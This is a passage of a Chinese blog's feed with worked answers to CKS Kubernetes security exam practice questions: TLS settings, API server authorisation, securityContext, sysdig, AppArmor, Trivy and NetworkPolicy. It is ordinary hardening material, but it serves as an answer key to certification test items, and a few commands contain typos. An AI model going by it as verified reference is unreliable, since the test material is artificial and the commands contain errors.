src="https://images.hao.kim/uploads/2024/12/8e90989516423d72ea75a2da6865247ba36a4ac3129089f2570288899561ccc2.jpg" alt="ImagePolicyWebhook-scan-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 15、TLS安全配置</title>
      <link href="/archives/kubernetes/CKS/TLS-sec.html"/>
      <url>/archives/kubernetes/CKS/TLS-sec.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/87dff413734f7ffaf53b10a49c7631209b4d5c0246e3c8a9ed36470f6d1a21e2.jpg" alt="TLS-sec-0">  </p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>通过TLS加强kube-apiserver安全配置，要求</p><ul><li>kube-apiserver除了 <code>TLS 1.3</code> 及以上的版本可以使用，其他版本都不允许使用。</li><li>密码套件（Cipher suite）为 <code>TLS_AES_128_GCM_SHA256</code></li></ul><p>通过TLS加强ETCD安全配置，要求</p><ul><li>密码套件（Cipher suite）为 <code>TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</code></li></ul><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kube-apiserver/">https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kube-apiserver/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/b25d79486069ca9e102017bea2ffedbf104077bca2086826faf77f47441a9e7b.jpg" alt="TLS-sec-1">  </p><p><img src="https://images.hao.kim/uploads/2024/12/2b6ed4aacf582f6ec1608c020d04048623486ec8de8ec4563b8e012aea4393e0.jpg" alt="TLS-sec-2">  </p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config user-context KSRS00501</span><br></pre></td></tr></table></figure><p>远程到 master 并切换到 root</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh master01</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><p>修改 kube-apiserver, 养成 修改之前备份文件的好习惯</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> bakyaml</span><br><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/kube-apiserver.yaml bakyaml/</span><br><span class="line">vim /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><p>添加或修改相关内容，并保存(先检查一下，如果考试环境里已经给你这两条了，则你只需要修改即可)</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--tls-cipher-suites=TLS_AES_128_GCM_SHA256</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--tls-min-version=VersionTLS13</span></span><br></pre></td></tr></table></figure><p>等待3分钟，等集群应用策略后，再检查kube-apiserver，确保Running。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n kube-system get pod</span><br></pre></td></tr></table></figure><p>修改 ETCD</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/etcd.yaml bakyaml/</span><br><span class="line">vim /etc/kubernetes/manifests/etcd.yaml</span><br></pre></td></tr></table></figure><p>添加或修改相关内容，并保存</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--cipher-suites=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</span></span><br></pre></td></tr></table></figure><p>修改完成后，需要等待3分钟，等集群应用策略后，再检查一下所有pod，特别是etcd和kube-apiserver两个pod，确保模拟环境是正常的。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod -A</span><br><span class="line">kubectl -n kube-system get pod</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b69cd4b7b64667a58339a44ce59dfaa207f27acf7c562a7c2264da32eb8a5613.jpg" alt="TLS-sec-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 14、启用API server认证</title>
      <link href="/archives/kubernetes/CKS/API-server-sec.html"/>
      <url>/archives/kubernetes/CKS/API-server-sec.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/6feb4db7bad156e8cf44aef68e0142e691919cce82ad9bc02cb5e0a482610b8c.jpg" alt="API-server-auth-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>由 <code>kubeadm</code> 创建的 cluster 的 Kubernetes API 服务器，出于测试目的， 临时配置允许未经身份验证和未经授权的访问，授予匿名用户 cluster-admin 的访问权限.</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>重新配置 cluster 的 Kubernetes APl 服务器，以确保只允许经过身份验证和授权的 REST 请求。 使用授权模式 <code>Node</code> , <code>RBAC</code> 和准入控制器 <code>NodeRestriction</code> 。 删除用户 <code>system:anonymous</code> 的 ClusterRoleBinding 来进行清理。</p><p>注意：所有 kubectl 配置环境&#x2F;文件也被配置使用未经身份验证和未经授权的访问。 你不必更改它，但请注意，一旦完成 cluster 的安全加固， kubectl 的配置将无法工作。 您可以使用位于 cluster 的 master 节点上，cluster 原本的 kubectl 配置文件 <code>/etc/kubernetes/admin.conf</code> ，以确保经过身份验证的授权的请求仍然被允许。</p><blockquote><p>模拟环境里，初始化这道题的脚本为b.sh</p></blockquote><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/reference/command-line-tools-reference/kube-apiserver/">https://kubernetes.io/zh/docs/reference/command-line-tools-reference/kube-apiserver/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCF00301</span><br></pre></td></tr></table></figure><p>远程到 master 并切换到 root</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh master01</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br><span class="line">sh /root/b.sh <span class="comment">#模拟这道题的环境</span></span><br></pre></td></tr></table></figure><p>确保只有认证并且授权过的REST请求才被允许 <code>/etc/kubernetes/manifests/kube-apiserver.yaml</code></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--authorization-mode=AlwaysAllow</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--enable-admission-plugins=AlwaysAdmit</span></span><br></pre></td></tr></table></figure><p>修改为</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--authorization-mode=Node,RBAC</span> </span><br><span class="line"><span class="comment">#注意，只保留Node,RBAC这两个，中间是英文状态下的逗号。在1.25考试中，这一条可能默认已经有了，但还是要检查确认一下。</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="string">--enable-admission-plugins=NodeRestriction</span> </span><br><span class="line"><span class="comment">#在1.25考试中，这一个原先为AlwaysAdmit，需要修改为NodeRestriction。</span></span><br></pre></td></tr></table></figure><p>重启kubelet</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl daemon-reload</span><br><span class="line">systemctl restart kubelet</span><br><span class="line">kubectl get pod -A <span class="comment">#过几分钟集群才会恢复正常</span></span><br></pre></td></tr></table></figure><p>删除题目要求的角色绑定</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get clusterrolebinding system:anonymous     <span class="comment">#检查</span></span><br><span class="line">kubectl delete clusterrolebinding system:anonymous  <span class="comment">#删除</span></span><br><span class="line">kubectl get clusterrolebinding system:anonymous     <span class="comment">#检查</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/23f175851bfb474923a33e064264c280bfbf8349ce67c2fe5f0350873fb546b3.jpg" alt="API-server-auth-1">  </p><p>验证</p><p><img src="https://images.hao.kim/uploads/2024/12/d532b243cc0f41e50edc24d131b65775c48fc8846570ceb9cecf47f4ef2ad6a1.jpg" alt="API-server-auth-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 13、Container安全上下文</title>
      <link href="/archives/kubernetes/CKS/context-sec.html"/>
      <url>/archives/kubernetes/CKS/context-sec.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/0c83c16d215e0313f66662094f8d70f31711e674011bab7f3d3b9bb4a509de1f.jpg" alt="Container-sec-context-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>Container Security Context应在特定namespace中修改Deployment。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>按照如下要求修改 <code>sec-ns</code> 命名空间里的 Deployment <code>secdep</code></p><ul><li>用ID为 <code>30000</code> 的用户启动容器（设置用户ID为: 30000）</li><li>不允许进程获得超出其父进程的特权（禁止<code>allowPrivilegeEscalation</code>）</li><li>以只读方式加载容器的根文件系统（对根文件的<code>只读</code>权限）</li></ul><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/</a></p><hr><h5 id="解答w"><a href="#解答w" class="headerlink" title="解答w"></a>解答w</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSMV00102</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f71d6287631c4559527e7920c941d93ccb5a3a739ccd2047db69ae3f9b77f286.jpg" alt="Container-sec-context-1">  </p><p>修改 deployment secdep</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n sec-ns edit deployment secdep</span><br></pre></td></tr></table></figure><p>在template字段下面的spec里面，添加或修改如下红字内容，并保存（考试中也是在Deployment下有两个image的） 请注意，考试和模拟环境中，先检查spec下面（非containers下面）是否有securityContext: {}，如果有则可以直接修改即可。否则重复添加是不生效的。</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">securityContext:</span></span><br><span class="line">  <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">readOnlyRootFilesystem:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0d1d1b9b0c069d28aaef4917e7c0ba0a984680e64679ad6a83484625b9d1933d.jpg" alt="Container-sec-context-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 12、Sysdig &amp; falco</title>
      <link href="/archives/kubernetes/CKS/Sysdig-falco.html"/>
      <url>/archives/kubernetes/CKS/Sysdig-falco.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/9b67aae9774fb4ce3f6ed41aee68516fc7ba51e6ef7a4925401f8da5468b4168.jpg" alt="Sysdig-falco-0">  </p><p>Task： 使用运行时检测工具来检测 Pod <code>tomcat123</code> 单个容器中频发生成和执行的异常进程。 有两种工具可供使用：</p><ul><li><code>sysdig</code></li><li><code>falco</code></li></ul><p>注： 这些工具只预装在 cluster 的工作节点 <code>node02</code> 上，不在 master 节点。 使用工具至少分析 <code>30</code> 秒 ，使用过滤器检查生成和执行的进程，将事件写到  <code>/opt/KSR00101/incidents/summary</code> 文件中， 其中包含检测的事件， 格式如下： <code>timestamp , uid/username , processName</code></p><p><img src="https://images.hao.kim/uploads/2024/12/5b8c407528aa88f699b1489016a83ad3e1ae970d98fa39045d89827da7c548de.jpg" alt="Sysdig-falco-1">  </p><p>保持工具的原始时间戳格式不变。 注： 确保事件文件存储在集群的工作节点上。</p><blockquote><p>请注意，考试时，考题里已表明sysdig在工作节点上，所以你需要ssh到开头写的工作节点上。但在模拟环境，你需要ssh到node02这个工作节点。<br><img src="https://images.hao.kim/uploads/2024/12/6fda6251889644f4762c64cbd747c5ed55ac87e8cee197f6c3d657952d926f66.jpg" alt="Sysdig-falco-2">  </p></blockquote><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSC00401</span><br></pre></td></tr></table></figure><p>切换到 node02 节点 使用root</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh node02</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><p>找到containerd的socket</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">crictl info | grep sock</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/bfb3635edc68279b0b351eeeede427f7631c402d45d36dbebf9d1e8460aa2c2b.jpg" alt="Sysdig-falco-3">  </p><p>使用crictl命令找到容器，题目要求的是tomcat123，则grep tomcat123。 crictl ps | grep tomcat123</p><p>注意，考试时，你要通过上面命令grep pod name，然后你要记住的是container name。只是模拟环境里的pod name和container name一样，都是tomcat123。</p><p><img src="https://images.hao.kim/uploads/2024/12/4cccb1ec269cb04b7d6d04efd19405a8816502a64881e1de36b09c36fc7f3791.jpg" alt="Sysdig-falco-4">  </p><p>通过 sysdig 扫描容器30s并输出到指定文件： sysdig -h 和-l 查看帮助 注：可以使用 sysdig -l |grep time 过滤，确认输出格式字段</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sysdig -l | grep time</span><br><span class="line">sysdig -l | grep uid</span><br><span class="line">sysdig -l | grep proc</span><br></pre></td></tr></table></figure><p>开始扫描 （我目前想不到别的方法，只能将命令分成2条了，谁有更好的方法，可以分享一下。） （container.name也可以换成container.id&#x3D;7cb82fdbc1295。注意要写container name，而不是pod name，只是模拟环境里，pod name和container name一样，都是tomcat123）</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sysdig -M 30 -p <span class="string">&quot;%evt.time,%user.uid,%proc.name&quot;</span> --cri /run/containerd/containerd.sock container.name=tomcat123 &gt;&gt; /opt/KSR00101/incidents/summary</span><br><span class="line">sysdig -M 30 -p <span class="string">&quot;%evt.time,%user.name,%proc.name&quot;</span> --cri /run/containerd/containerd.sock container.name=tomcat123 &gt;&gt; /opt/KSR00101/incidents/summary</span><br></pre></td></tr></table></figure><p>提示：如果考试时执行sysdig报错“Unable to load the driver”，则执行下面一条命令：（模拟环境里不需要执行）</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#启用模块</span></span><br><span class="line">sysdig-probe-loader</span><br></pre></td></tr></table></figure><p>然后再次执行sysdig -M 30 ……</p><p>如果还是报错，就重装一下sysdig，命令为 <code>apt install sysdig</code></p><p>查看保存的文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/KSR00101/incidents/summary |<span class="built_in">head</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 11、AppArmor</title>
      <link href="/archives/kubernetes/CKS/AppArmor.html"/>
      <url>/archives/kubernetes/CKS/AppArmor.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/6773dac6b439ec788db378d983d037b562fb54d57f3c36fb2bf5c487cbc48a65.jpg" alt="AppArmor-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>APPArmor 已在 cluster 的工作节点node02上被启用。一个 APPArmor 配置文件已存在，但尚未被实施。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>在 cluster 的工作节点node02上，实施位于 <code>/etc/apparmor.d/nginx_apparmor</code> 的现有APPArmor 配置文件。 编辑位于 <code>/cks/KSSH00401/nginx-deploy.yaml</code> 的现有清单文件以应用 AppArmor 配置文件。 最后，应用清单文件并创建其中指定的 Pod 。</p><p>请注意，考试时，考题里已表明APPArmor在工作节点上，所以你需要ssh到开头写的工作节点上。 在模拟环境，你需要ssh到node02这个工作节点。</p><p><img src="https://images.hao.kim/uploads/2024/12/948e6cd3aa72bc9b8b7151538c5f23c5e32de131602f347dd3c8221b46e30a71.jpg" alt="AppArmor-1">  </p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/tutorials/security/apparmor/#example">https://kubernetes.io/zh/docs/tutorials/security/apparmor/#example</a></p><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSH00401</span><br></pre></td></tr></table></figure><p>连接到 node02 并切换到 root</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh node02</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><p>切换到 apparmor 目录, 并检查配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vi /etc/apparmor.d/etc/apparmor.d/nginx_apparmor</span><br></pre></td></tr></table></figure><p>nginx_apparmor</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#include </span></span><br><span class="line"><span class="comment">#nginx-profile-3 #检查这一行是否存在 存在则注释掉</span></span><br><span class="line"><span class="string">profile</span> <span class="string">nginx-profile-3</span> <span class="string">flags=(attach_disconnected)</span> &#123;</span><br><span class="line">  <span class="comment">#include </span></span><br><span class="line">  <span class="string">file</span>,</span><br><span class="line">  <span class="comment"># Deny all file writes.</span></span><br><span class="line">  <span class="string">deny</span> <span class="string">/**</span> <span class="string">w</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/23a62e5dc8f13759ed468ffb2904ee00aee92547b00efab36153b9c773da0be6.jpg" alt="AppArmor-2">  </p><p>执行 并 检查 apparmor策略模块</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apparmor_parser -q /etc/apparmor.d/nginx_apparmor</span><br><span class="line">apparmor_status | grep nginx-profile-3</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1abefc0a29c9e599118aacf2722232981b5f5ab6f141a14cec05c79c681abcdd.jpg" alt="AppArmor-3">  </p><p>修改 pod 文件</p><blockquote><p>注意！注意！考试时，这个文件是在默认登录的终端那个初始节点上的，而不是在这个work节点的</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vi /cks/KSSH00401/nginx-deploy.yaml</span><br></pre></td></tr></table></figure><p>添加注解</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">annotations:</span></span><br><span class="line">  <span class="attr">container.apparmor.security.beta.kubernetes.io/podx:</span> <span class="string">localhost/nginx-profile-3</span></span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -f  /cks/KSSH00401/nginx-deploy.yaml create</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod</span><br><span class="line">kubectl <span class="built_in">exec</span> podx -- <span class="built_in">cat</span> /proc/1/attr/current</span><br><span class="line">kubectl <span class="built_in">exec</span> podx -- <span class="built_in">touch</span> /tmp/test</span><br></pre></td></tr></table></figure><p>查看current显示 xxx (enforce) 创建文件提示权限不足</p><p><img src="https://images.hao.kim/uploads/2024/12/d8fe5e9e4797104c3e5eb0da67e7f4a3ce5f67ede8e075cb1ae3b6c0e055baba.jpg" alt="AppArmor-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 10、Trivy 扫描镜像安全漏洞</title>
      <link href="/archives/kubernetes/CKS/Trivy-scan.html"/>
      <url>/archives/kubernetes/CKS/Trivy-scan.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/d8b40c7c76f3e4cbf84c078bea4b5d60543efde72f72c3bc84d97646cfdf4b8a.jpg" alt="Trivy-scan-0">  </p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>使用 Trivy 开源容器扫描器检测 namespace <code>kamino</code> 中 具有严重漏洞的镜像 的 Pod。</p><p>查找具有 <code>High</code> 或 <code>Critical</code> 严重性漏洞的镜像，并删除使用这些镜像的 Pod 。</p><p>注意：Trivy 仅安装在 cluster 的 <code>master</code> 节点上， 在工作节点上不可使用。 你必须切换到 cluster 的 <code>master</code> 节点才能使用 Trivy</p><hr><h5 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h5><p><a href="https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E8%BE%93%E5%87%BA">https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/#格式化输出</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><ol><li><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSC00401</span><br></pre></td></tr></table></figure></li><li><p>查看namespace下pod 和image</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pods -n kamino -o=custom-columns=<span class="string">&quot;NAME:.metadata.name,IMAGE:.spec.containers[*].image&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7216e38206c3f4a20bf793270acf02b0325bb7280bf6fb1f9ba5911f914cb19d.jpg" alt="Trivy-scan-1">  </p></li><li><p>提取镜像名并进行扫描</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl describe pod -n kamino | grep -i image: |awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | <span class="built_in">sort</span> -u</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/95c5ffad7f8f22507c0b9e5194887b4448c67393bc1503a12640d017584f8e0c.jpg" alt="Trivy-scan-2">  </p><p>扫描并显示结果</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `kubectl describe pod -n kamino | grep -i image: |awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span> | <span class="built_in">sort</span> -u`; <span class="keyword">do</span> trivy -q image -s HIGH,CRITICAL <span class="variable">$i</span> | grep -iEB3 <span class="string">&quot;HIGH:|CRITICAL:&quot;</span> ; <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d09e2cc7ade1da642018eac961dd8643d5e46a34f51eec483360bc78415bba2b.jpg" alt="Trivy-scan-3">  </p><p>可以看到除了amazonlinux:2 其他镜像都存在高危漏洞, 对应之前的pod和images列表 删除包含漏洞的image即可</p></li><li><p>删除包含漏洞的pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n kamino delete pod tri111 tri222 tri333</span><br></pre></td></tr></table></figure></li></ol><p>  <img src="https://images.hao.kim/uploads/2024/12/858b031e7527981cfef0d138fb2607a0dd7e838b9c576e4901b4d58eb3e73ceb.jpg" alt="Trivy-scan-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 9、网络策略NetworkPolicy</title>
      <link href="/archives/kubernetes/CKS/NetworkPolicy-2.html"/>
      <url>/archives/kubernetes/CKS/NetworkPolicy-2.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/2632877ccd56e095dd717f18c6e2132d8148fb59168f9941e5dc8f615d08fcb2.jpg" alt="NetworkPolicy-2-0">  </p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>创建一个名为 <code>pod-restriction</code> 的 NetworkPolicy 来限制对在 namespace <code>dev-team</code> 中运行的 Pod <code>products-service</code> 的访问。 只允许以下 Pod 连接到 Pod <code>products-service</code></p><ul><li>namespace <code>qaqa</code> 中的 Pod</li><li>位于任何 namespace，带有标签 <code>environment: testing</code> 的 Pod 注意：确保应用 NetworkPolicy。</li></ul><p>你可以在 <code>/cks/net/po.yaml</code> 找到一个模板清单文件。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/concepts/services-networking/network-policies/#networkpolicy-resource">https://kubernetes.io/zh/docs/concepts/services-networking/network-policies/#networkpolicy-resource</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSH00301</span><br></pre></td></tr></table></figure><p>检查namespace标签</p><p>模拟环境已提前打好标签了，所以你只需要检查标签即可。但为了防止考试时，没有给你打标签，所以还是需要你将下面打标签的命令记住。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看 qaqa 命名空间标签（name: qaqa）</span></span><br><span class="line">kubectl get ns --show-labels</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看 pod 标签（environment: testing）</span></span><br><span class="line">kubectl get pod -n dev-team --show-labels</span><br></pre></td></tr></table></figure><p>如果 Pod 或者 Namespace 没有标签，则需要打上标签。 注意：我这里将pod products-service的标签打成了environment: testing，下面会有解释，不要和题目里要求的“位于任何namespace，带有标签environment: testing的Pod”这句话里的标签混淆了。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl label ns qaqa name=qaqa</span><br><span class="line">kubectl label pod products-service environment=testing -n dev-team</span><br></pre></td></tr></table></figure><p>创建NetworkPolicy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vi /cks/net/po.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pod-restriction</span> <span class="comment">#修改</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">dev-team</span> <span class="comment">#修改</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span></span><br><span class="line">  <span class="attr">matchLabels:</span></span><br><span class="line">    <span class="attr">environment:</span> <span class="string">testing</span> <span class="comment">#根据题目要求的标签修改，这个写的是Pod products-service的标签，也就是使用kubectl get pod -n dev-team --show-labels查出来的pod的标签，这个标签不要和题目里要求的“位于任何namespace，带有标签environment: testing的Pod”这句话里的标签混淆了，两个没有关系，所以可不一样。比如你考试时查出来的POD products-service的标签是name: products，那这里的environment: testing就要换成name: products。</span></span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Ingress</span> <span class="comment">#注意，这里只写 - Ingress，不要将 - Egress也复制进来！</span></span><br><span class="line">  <span class="attr">ingress:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">from:</span> <span class="comment">#第一个from</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">namespaceSelector:</span></span><br><span class="line">      <span class="attr">matchLabels:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">qaqa</span> <span class="comment">#命名空间有name: qaqa标签的</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">from:</span> <span class="comment">#第二个from</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">namespaceSelector:</span> &#123;&#125; <span class="comment">#修改为这样，所有命名空间</span></span><br><span class="line">      <span class="attr">podSelector:</span> <span class="comment">#注意，这个podSelector前面的“-” 要删除，换成空格，空格对齐要对。</span></span><br><span class="line">        <span class="attr">matchLabels:</span></span><br><span class="line">          <span class="attr">environment:</span> <span class="string">testing</span> <span class="comment">#有environment: testing标签的Pod，这个地方是根据题目要求“Pods with label environment: testing , in any namespace”，这句话里的pod标签写的。不要和上面spec里的混淆。</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7727216190660ec011034b489b60d58d19eb9e9bf49184c2736e7a7e494430da.jpg" alt="NetworkPolicy-2-1">  </p><p>创建 检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /cks/net/po.yaml</span><br><span class="line">kubectl get networkpolicy -n dev-team</span><br></pre></td></tr></table></figure>]]></content>
      
      
